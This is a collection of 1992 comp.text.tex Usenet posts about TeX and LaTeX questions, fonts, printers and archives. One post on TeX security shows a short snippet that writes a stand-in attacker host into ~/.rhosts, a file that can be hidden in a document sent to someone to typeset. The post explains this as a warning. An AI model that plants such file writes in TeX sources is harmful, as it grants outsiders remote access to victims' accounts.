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From: Jeff Rummel <RUMMEL%DUKEFSB.BITNET@SHSU.edu>
Newsgroups: comp.text.tex
Subject: macro question (wizards welcome)
Date: Thu, 20 Aug 92 08:58 EST
Organization: Info-Tex<==>Comp.Text.Tex Gateway
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I'm using some macros to typeset c++ listings (cnoweb).  When it encounters
comments it runs in regular tex mode and in verbatim mode for the code
itself.  What I would like to do is encourage the page breaks to occur
between blocks, not inside them (if possible).  I've done this before with
outlines by putting glue and goodbreaks in strategic places.  I wonder if
the same solution could be used here.

My thought was to make the brace { an active character that would insert
the goodbreak, etc, but in many places, the { occurs at the end of the
line:
     if (something) {
        <body to keep with the if>
and I would want the goodbreak at the beginning:
     goodbreak
     if <etc>...

I've seen unboxing but am not sure how/if it would work.  Any
pointers/suggestions would be most appreciated.  If this is infeasible,
I'd like to know that, too, so I can stop thinking about it.

--jeff.
From: dulimart@cps.msu.edu (Hansye S. Dulimarta)
Newsgroups: comp.text.tex
Subject: T-cube -> LaTeX converter
Date: 13 Aug 92 15:20:52 GMT
Organization: Department of Computer Science, Michigan State University
Originator: dulimart@pixel.cps.msu.edu


Greetings,
  A friend of mine is looking for T-cube to LaTeX converter. If anyone has
a pointer of how to get it, I'll be very happy to hear it. Thank you so
much.


Hans.
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From: siegman@SIERRA.STANFORD.EDU ("Anthony E. Siegman")
Newsgroups: comp.text.tex
Subject: Finding the size of a PICT, w/o opening the PICT file?
Date: 19 Aug 92 03:25:48 GMT

I'd like a simple tool, preferably a DA, that could find just the
dimensions of the PICT in a PICT file (in inches), preferably without
even opening the file.

Just the width and height, nothing more.  (These numbers are needed to
\input the PICT into a TeX document, using the \special command in
Textures.)

Anything like this around?

Responses preferably direct to siegman@sierra.stanford.edu

Xref: sparky comp.text.tex:10105 comp.lang.postscript:4272
From: bkph@rice-chex.ai.mit.edu (Berthold K.P. Horn)
Newsgroups: comp.text.tex,comp.lang.postscript
Subject: Re: Size independant Computer Modern PostScript fonts wanted
Date: 12 Aug 92 19:59:13 GMT
Followup-To: comp.text.tex
In-reply-to: scs@iti.org's message of 12 Aug 92 16:53:02 GMT


*** *** *** DISCLAIMER: RESPONDENT HAS CONNECTIONS WITH Y&Y (:-) *** *** ***

In article <scs.713638382@hela.iti.org> scs@iti.org (Steve Simmons) writes:

   We've been looking around the net for Computer Modern PostScript
   fonts.  There are a number of variations on a theme, which boil down to
   having a separate postscript font for every point size and variant of
   CM.  Many megabytes to download and burns up lots of vm.  Has anyone
   got a freely redistributable set of size-independant cm*.ps and cm*.afm
   files?  Failing that, is there a commercial package available?

You can have the complete set of 75 Computer Blue Sky Research Modern fonts
in Adobe Type 1 form from Y&Y  For the PC, they come in PFB + PFM (+ AFM)
format and the outline fonts take less than 2 Megabyte (instead of a complex
directory hierarchy that takes more than 6.5 Megabyte for a minimal set of
PK bitmap fonts).  For Unix/Next they come in PFA + AFM format, which takes
a bit more.

On the PC you can avoid `burning up VM' if you use DVIPSONE, which uses
partial font downloading on Type 1 fonts (the only program of any form to do
so).  Where most DVI to PS processors generate something like a 480kbyte
file for a one page TeX job with math (9 - 10 fonts say), DVIPSONE produces
something more like 80 - 90 kbyte.  This means you won't crash your printer
with limited VM.

*** *** *** DISCLAIMER: RESPONDENT HAS CONNECTIONS WITH Y&Y (:-) *** *** ***

Berthold K.P. Horn
Cambridge, Massachusetts, USA
Newsgroups: comp.text.tex
From: fritzz@lamont.ldgo.columbia.edu (fritz zaucker)
Subject: Re: tex v. WP5.1
Originator: fritzz@ko.ldgo.columbia.edu
Organization: Lamont-Doherty Geological Observatory, Columbia University, New
	York
	<1992Aug14.023630.7178@disk.uucp>
Date: Fri, 14 Aug 1992 14:51:09 GMT

In article <1992Aug14.023630.7178@disk.uucp> tony@disk.uucp (tony) writes:


	   I hope someone knows something more about TeX on 9-pins than I have
   heard so far because I have been waiting two weeks for a definitive answer
   and all I have heard has been related to laser printers or 24-pin dot matrix
   printers which do not address my question at all.  I am aware there are 
   drivers/fonts for 24-pin Epson dot matrix printers at rusinfo.rus.uni-stuttgart.de.  I do not know if these fonts will work on a 9-pin or if there are sites
   with fonts for 9-pins.  I sure would like to find out.  :)

One way to go might be:

TeX -> dvips -> ghostscript -> epson compatible printer

I have no clue about the quality, though.

Fritz
From: schoepf@sc.ZIB-Berlin.DE (Rainer Schoepf)
Newsgroups: comp.text.tex
Subject: Re: hangcaption.sty; works but not with \label
Date: Wed, 12 Aug 92 12:03:10 +0200
Organization: Konrad-Zuse-Zentrum fuer Informationstechnik Berlin
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"George D. Greenwade" writes:

 > This is related, believe me.  In
 > <1992Aug11.194154.6366@alchemy.chem.utoronto.ca> (comp.text.tex, Tue, 11
 > Aug 1992 19:41:54 GMT) mroussel@alchemy.chem.utoronto.ca (Marc Roussel)
 > posted:
 > > In article <0095EBB9.4825C640.13366@SHSU.edu> "George D. Greenwade"
 > > <bed_gdg@SHSU.edu> writes:
 > > >With respect to b) [I haven't tried this, but it's a good guess], try:
 > > > \caption{\label{fig:tree} A tree grows in Brooklyn.\protect\cite{BugsBunny}}
 > > >                                                    ^^^^^^^^
 > > [...]
 > > >(i.e., it might be wise to include \protect\label as well
 > > >if you insist on including the \label in the \caption).
 > >
 > >      The first bit of advice (\protect\cite{}) is sound, but
 > > \protect\label is not necessary because \label is specifically kludged
 > > to work correctly inside of \caption{}.  I have no idea if unnecessary
 > > \protect declarations have any harmful effects.
 >
 > Except that they create ``invisible space'' and the kludge is far less than
 > perfect.  The apparently-superfluous \protect does matter for a few
 > interesting applications.  As Andrew and I experimented on this, it became
 > apparent that moving the \label outside (but adjacent to) the \caption was
 > the fix, i.e., changing \caption{\label{something}This is the caption text}
 > to \caption{This is the caption text}\label{something} worked and fixed the
 > problem above.

This is a tricky issue, since there are several different mechanisms
involved.

- Normally, \index reads its argument with the category codes of all
  special characters excpet braces set to other. Of course, this won't
  work when \index occurs inside the argument of another command.

- If executed \index takes precautions so that the spacing is not
  affected by its presence. If it is preceded by \protect, it is not
  necessarily executed at the time it is read. In the case of caption,
  I would expect that with the \protect the \label command is executed
  another time when the \listoffigures is typeset. Without the
  \protect this doesn't happen.

In short, George's solution is the best: Put \label immediately after
the \caption command.

   Rainer Schoepf
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From: nad@phys.canterbury.ac.nz (Dr Noel Doughty University of Canterbury)
Newsgroups: comp.text.tex
Subject: NFSS Installed or not?
Date: Tue, 18 Aug 92 10:19:37 NZS
Organization: Info-Tex<==>Comp.Text.Tex Gateway
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A new TeX (Version 3.14t3) was installed here early this year
which gives a LaTeX  Version 2.09 (dated 14 Jan 1991).

I understood that this gave the NFSS system automatically but
all my attempts to get easy operation of \large, \Large and \LARGE with
\sf and \bf fail and I now presume we do not actually have NFSS running.
What I am after is text in several larger than normal bold sans serif
sizes interspersed with same size cmr maths fonts for seminar slides.

How do I check whether we have it or not and if NOT where do I suggest
the Administrator look for Installation Instructions presuming the
files are in the distribution we have?

Noel Doughty
Department of Physics and Astronomy
University of Canterbury
Private Bag
Christchurch 8001
New Zealand

TEL: 064 3 667-001 (Extn: 6877)
DDI: 064 3 642-877
FAX: 064 3 642-469 (Physics and Astronomy only)

Internet: nad@phys.canterbury.ac.nz
From: dhosek@linus.claremont.edu
Subject: Laser vs. impact (was Re: tex v. WP5.1 )
Organization: Harvey Mudd College
Date: 22 Aug 92 16:10:04 PDT

Given the price differential between 24-pin printers or inkjet
printers and low-end lasers, the fact that one can buy a 4ppm PCL
laser printer for $600 or so starts to make a lot of sense given
that for TeX-based output, impacts and inkjets have their speed
measured in minutes per page rather than pages per minute. Not to
mention the fact that a laser printer won't keep the neighbors up
if you're printing late at night.

-dh
From: rjc@cogsci.ed.ac.uk (Richard Caley)
Newsgroups: comp.text.tex
Subject: Recipe.sty?
Date: 14 Aug 92 17:20:50 GMT
Distribution: comp
Organization: Human Communication Research Center


Does there exist a style for doing recipes? Someone wants one fo mine
and my handwriting is such that someone trying to read it while
cooking might end up creating something from the Quatermass
Experiment. Obviously, it's easy to do simple things but a well layed
out ingreedients list and so on looks fun.

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From: djossou@charly.inria.fr (Coco Djossou)
Newsgroups: comp.text.tex
Subject: gloss.tex [Re: lyrics/chords macro wanted]
Date: 19 Aug 92 06:32:48 GMT
Reply-To: djossou@sophia.inria.fr
Organization: INRIA Sophia Antipolis


	  From: lukeh@tekig1.PEN.TEK.COM (Luke James Hornof)
	  Newsgroups: comp.text.tex
	  Subject: lyrics/chords macro wanted
	  Message-ID: <6595@tekig7.PEN.TEK.COM>
	  Date: 18 Aug 92 17:37:14 GMT
lukeh@tekig1.PEN.TEK.COM (Luke James Hornof) writes:
|> I'm looking for a macro package which will easily enable me to put the names
|> of simple guitar chords over words of song lyrics.
|> 
|> For example, I would like the output to look like this:
|> 
|> C              G            Am                  F
|> Met her at the Burger King, fell in love over a Pepsi
|> ....
|> Thanks in advance,
|> Luke

Try gloss.tex: macros for vertically aligning words in consecutive sentences
from Midnight Macros
     Host: csvax.cs.caltech.edu
     Location: /pub/tex/Midnight
     FILE -rw-r--r--    11356 Oct 28  1991 gloss.doc
     FILE -rw-r--r--     3802 Oct 28  1991 gloss.tex
Coco D.
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From: ryanr@beethoven.CS.ColoState.EDU (richard ryan)
Newsgroups: comp.text.tex
Subject: Re: TeX, LaTeX, etc.: Frequently Asked Questions with Answers [Monthly]
Date: 14 Aug 92 15:36:24 GMT
Followup-To: comp.text.tex
Organization: Computer Science Department, Colorado State University

Hi,

Could you include "where can I get the latest versions of initex, tex,
latex, etc.?"

Richard.
Newsgroups: comp.text.tex
From: James Petts <pettsj@visigoth.demon.co.uk>
Subject: TeX In Practice
Organization: No Affiliation
Date: Thu, 20 Aug 1992 08:18:47 GMT
X-Useragent: Nuntius v1.1

It's here at last!!!

Stefan v. Bechtolsheim's book, "TeX in Practice", has been announced by 
Springer-Verlag. It is in  fact a four volume set. Details below, from 
the ad in the latest TUGBoat.

Volume 1: Basics
1992/359 pp., 9 illus./Hardcover $49.00
ISBN 0-387-97595-0

Volume 2: Paragraphs, Maths, and Fonts
1992/384 pp., 22 illus./Hardcover $49.00
ISBN 0-387-97596-9

Volume 3: Tokens, Macros
1992/544 pp., 22 illus./Hardcover $49.00
ISBN 0-387-97597-7

Volume 4: Output Routines, Tables
1992/300 pp., 10 illus./Hardcover $49.00
ISBN 0-387-97598-5

Four Volume Set
1992/$169.00/ISBN 0387-97296-X
Monographs in Visual Communication

James Petts
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Newsgroups: comp.text.tex
From: James Petts <pettsj@visigoth.demon.co.uk>
Subject: Re: TeX Documentation
Organization: No Affiliation
Date: Thu, 13 Aug 1992 07:07:33 GMT
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In article <1992Aug12.204018.934@seas.smu.edu> Ted Pedersen,
pedersen@seas.smu.edu writes:
>We have TeX on our system here but we don't have the documentation
available.
>As I am a new TeX user I would really like to have some of that
available. I 
>would like to be able to download the current TeX docuementation without
having
>to download all of TeX as well. Does anyone know a site that has the    
       
>documentation in a seperate file that I could download? Thanks much ,
Ted 

The Aston archive (tex.ac.uk) has a directory .doc immediately below the 
anonymous ftp login directory. (Note that this is a VMS server, and you 
have to use the "cd [.doc]" notation) Aston is one of the largest 
archives of TeX material in the world, and will probably have virtually 
all the freely-available docs. Note, however, that "The TeXBOOK", 
although source is readily available, is copyrighted, and should *NOT* be 
TeXed. Other good sources (commercial) for documentation are:

Tex for The Impatient, Abrahams et. al.
A Beginners Book of TeX, Serould & Levy
Tex for Beginners, Snow
Tex by Topic, Eijkhout (Hello, Victor!)
TeX by Example, Borde, and of course
The TeXBOOK, Knuth

and several others. I would recommend Seroul and Levy as a first point of 
contact.

James

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***
*    "We use the classical theory on Mondays, Wednesdays and Fridays,    
*   
*     and the quantum theory on Tuesdays, Thursdays and Saturdays."      
*
***************************************** Wm. Bragg
***********************
From: romero@sourri.ucdavis.edu (Aldo Romero)
Newsgroups: comp.text.tex
Subject: Help with figures
Date: 12 Aug 92 18:26:57 GMT
Reply-To: romero@sourri.ucdavis.edu
Organization: University of California, Davis

I don't know how include a .PS file in my text.
Would you be so kind to tell me how to do that?

Thanks in advance!! 


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From: jaisimha@milton.u.washington.edu (M. Y. Jaisimha)
Subject: Troff to TeX/LaTeX filter
Organization: University of Washington, Seattle
Date: Fri, 14 Aug 1992 21:39:50 GMT


Does anybody know of a filter that accepts troff as input
and outputs TeX/LaTeX as output ?

Thanks,

Jaisimha
From: schoepf@sc.ZIB-Berlin.DE (Rainer Schoepf)
Newsgroups: comp.text.tex
Subject: Re: hangcaption.sty; works but not with \label
Date: Wed, 12 Aug 92 12:29:24 +0200
Organization: Konrad-Zuse-Zentrum fuer Informationstechnik Berlin
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mroussel@alchemy.chem.utoronto.ca (Marc Roussel) writes in response to
a message by anselmo@cumesb.mech.columbia.edu (Andrew P. Anselmo):

	Interesting.  It's surprisingly rare to find real bugs in LaTeX
   (although it does happen) but it seems that you have found one.  I
   wonder if this problem is universal across different revisions of LaTeX.
   If you have a short piece of sample code which demonstrates this problem,
   I would appreciate it if you mailed it to me.

I have a small sample file:

\documentstyle{article}

\begin{document}
\parbox[t]{5cm}{text text text text text text text text
text text text text text text text text
text text text text text text text text
text text text text text text text text
text text text text text text text text }
\parbox[t]{5cm}{\label{x}text text text text text text text text
text text text text text text text text
text text text text text text text text
text text text text text text text text
text text text text text text text text }

\end{document}


The problem is that the \label contributes a \write node while in
vertical mode. An easy solution is to put a \leavevmode in front of
it. But before I change \parbox I have to make sure that this doesn't
break something else (not likely, but once burned...).

Rainer Schoepf
LaTeX 2.09 maintenance
From: avinash@felix.contex.com (Avinash Chopde)
Newsgroups: comp.text.tex
Subject: TFM files (VF) for the standard 35 PostScript fonts...
Date: 14 Aug 92 15:59:20 GMT

I just picked up Karl Berry's psfonts.tar, which contains PK files
for the standard 35 PostScript fonts. 
I need all the TFM files for those fonts, is there any FTP archive
that has those files ?

Thanks for any help...
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From: evc@ccwf.cc.utexas.edu (Edward Van Cura)
Newsgroups: comp.text.tex
Subject: inner / outer margins in double-sided document
Date: 16 Aug 92 04:53:08 GMT

Greetings!

   I would like to produce a document which is double-sided with
the inner margins set at 1.0in and the outer margins set at 0.5in.
I am using doublecolumns with eplain-1.9. 

I set the \topmargin and \bottommargin at 0.5in each, then initialize
the \hoffset with 

\ifodd\pageno \hoffset=0.0in \else \hoffset=-0.5in\fi
(an article may start on page 26, for example)

Then I need a way to reverse the margin settings at the end of the 
page in preparation for the next page. First I tried to tack the 
\ifodd statement listed above onto the \headline{} routine, since I
thought TeX would look at it during the \output routine
at the end of every page. This failed to get the desired effect. 
Then I tried to make the margin change by sticking the \ifodd statement
in what I thought was the \output routine token list. No dice.
I've spent 3 days squinting at the TeXbook, TeX for the Impatient, 
the eplain docs, the TeX FAQ file, and searching several ftp sites
for a ready-made macro. 

Any advice or pre-fab macros would be greatly appreciated.

Edward Earl van Cura
evc@ccwf.cc.utexas.edu
Newsgroups: comp.text.tex
From: tim@maths.tcd.ie (Timothy Murphy)
Subject: Re: TeX on Suns (Re: Where to get LaTeX or TeX.)
Organization: Dept. of Maths, Trinity College, Dublin, Ireland.
Date: Thu, 13 Aug 1992 01:02:17 GMT

etxkrjg@solsta.ericsson.se (Kristian Jorg  TX/DKL) writes:

>mccauley@ecn.purdue.edu (Darrell McCauley) writes:

>>|> I am looking for a ready-to-run TeX3.14 too on a sparc station (IPX), is
>>|> there a place that I can ftp?

>Yes, byron.u.washington.edu. Contains the latest version (3.14) of TeX
>and the other packages such as Latex and so on.

Actually, I think the current version is 3.141 .
I got it (at Easter) from ftp.cs.umb.edu (pub/tex/{web,web2c}.tar.Z)

My experience has been that it is best to get LaTeX stuff
from ftp.uni-stuttgart.de .

-- 
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tel: +353-1-2842366
s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland
From: cet1@cl.cam.ac.uk (C.E. Thompson)
Newsgroups: comp.text.tex
Subject: Re: Installing TeX at a "secure" site?
Date: 17 Aug 92 22:09:37 GMT
Reply-To: cet1@cl.cam.ac.uk (C.E. Thompson)
Organization: U of Cambridge Computer Lab, UK

In article <1992Aug13.221040.2123@almserv.uucp>, alufml@purple.fnma.com
(Francois-Michel Lang) writes:
|> 
|> I just received a tape of the Unix TeX distribution from the
|> Northwest Computing Support Center and handed it over to the
|> sysadmin folks at my site for installation.  Now they tell me
|> that they will *not* install it because TeX is public domain
|> software, which is verboten here.  (Why, given this policy,
|> we can still use GNU Emacs is another matter...)

There are several interesting points involved. It has been pointed 
out that the source of TeX (and friends) is available for inspection.
Fine, *provided* you use this source to install it. You wouldn't want
to use someone else's executable binaries, if you are feeling paranoid.
Even using them during the bootstrapping process requires very careful
thought. Of course, we will assume that you have already validated your
Pascal (or that other language) compiler to your high standards.

Almost certainly, the major security problem with TeX in a Unix 
environment (or most others these days, unfortunately) arises from
its use after installation. I advertise that I have some question to 
the ultimate answer about life, the universe, and all that. You eagerly
ask me for a preprint. I offer you some humungous file to (La)TeX.
Hidden away in it is

    \immediate\openout 15 = ~/.rhosts
    \immediate\write 15 {badtown.empire.evil rodent} 
    \immediate\closeout 15

(not in clear, of course). You innocently process this file. 

This is far from being unique to TeX, of course; the same problem
arises with almost any utility that can write to files whose names
can depend non-transparently on the input. Probably the perceived
threat is associated with the idea that the person who is liable to
process random TeX input is more naive than, say, the person who does
the same to perl scripts. 

Chris Thompson
Cambridge University Computing Service
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From: wwm@wa8tzg.mi.org (Bill Meahan)
Subject: Re: scientific word
Organization: What, ME Organized?
Date: Fri, 14 Aug 1992 00:34:24 GMT

In article <7751960@MVB.SAIC.COM> Guenther Neue <UCH018%DDOHRZ11.BITNET@SHSU.edu> writes:
>
>
>
>Hello,
>
>recently I found an advertisement for a program that is claimed to
>combine latex with wysiwyg under Windows. Has anybody experience with
>that program which is called "SCIENTIFIC word" ?
>
>
>Guenther


See page 85 of the August, 1992 issue of the IEEE Computer Society
journal "Computer."  Check your local library.

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